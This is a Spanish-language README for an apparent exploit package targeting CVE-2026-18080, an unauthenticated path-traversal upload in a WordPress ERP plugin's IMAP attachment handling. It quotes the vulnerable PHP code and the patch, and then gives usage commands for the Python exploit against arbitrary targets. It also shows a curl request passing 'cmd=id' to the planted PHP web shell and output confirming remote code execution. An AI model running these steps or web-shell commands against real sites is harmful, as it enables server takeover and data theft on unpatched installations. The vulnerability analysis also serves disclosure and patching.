
Exploit para CVE-2026-18080, una subida arbitraria de archivos sin autenticación que conduce a RCE en ERP Complete HR, Accounting & CRM Suite. Incluye scripts en Python y PHP para la explotación automatizada.
| Campo | Valor |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Parche | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Crítico) |
| CWE | CWE-434 (Subida sin Restricciones de Archivos con Tipo Peligroso) |
| Afectados | Versiones del plugin ERP <= 1.17.7 (corregido en 1.17.8) |
La función save_attachments() del plugin ERP en GmailSync.php procesa los adjuntos de correo entrantes desde IMAP sin normalización de rutas. Un atacante puede crear un correo con un nombre de archivo como ../../plugins/shell.php y una cabecera References falsificada que coincida con el patrón esperado por el plugin. El trabajo de sincronización IMAP basado en cron escribe el archivo fuera del directorio crm-attachments/ protegido por .htaccess en cualquier ruta escribible dentro de wp-content/.
En GmailSync.php (v1.17.7):
$name = $item['name']; // Sin basename() ni normalización de rutas
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
El nombre de archivo ../../plugins/shell.php concatenado con $dir (wp-content/uploads/crm-attachments/) se resuelve a wp-content/plugins/shell.php — un directorio donde se permite la ejecución de PHP.
La corrección (v1.17.8) añade sanitize_attachment_filename() que elimina los componentes de directorio mediante basename(), rechaza los separadores de ruta y bloquea las extensiones peligrosas.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
Después de una subida exitosa:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| Archivo | Descripción |
|---|---|
exploit.py | Script de explotación en Python que usa wp-cli |
exploit.php | Exploit PHP independiente para wp eval-file |
README.md | Este archivo |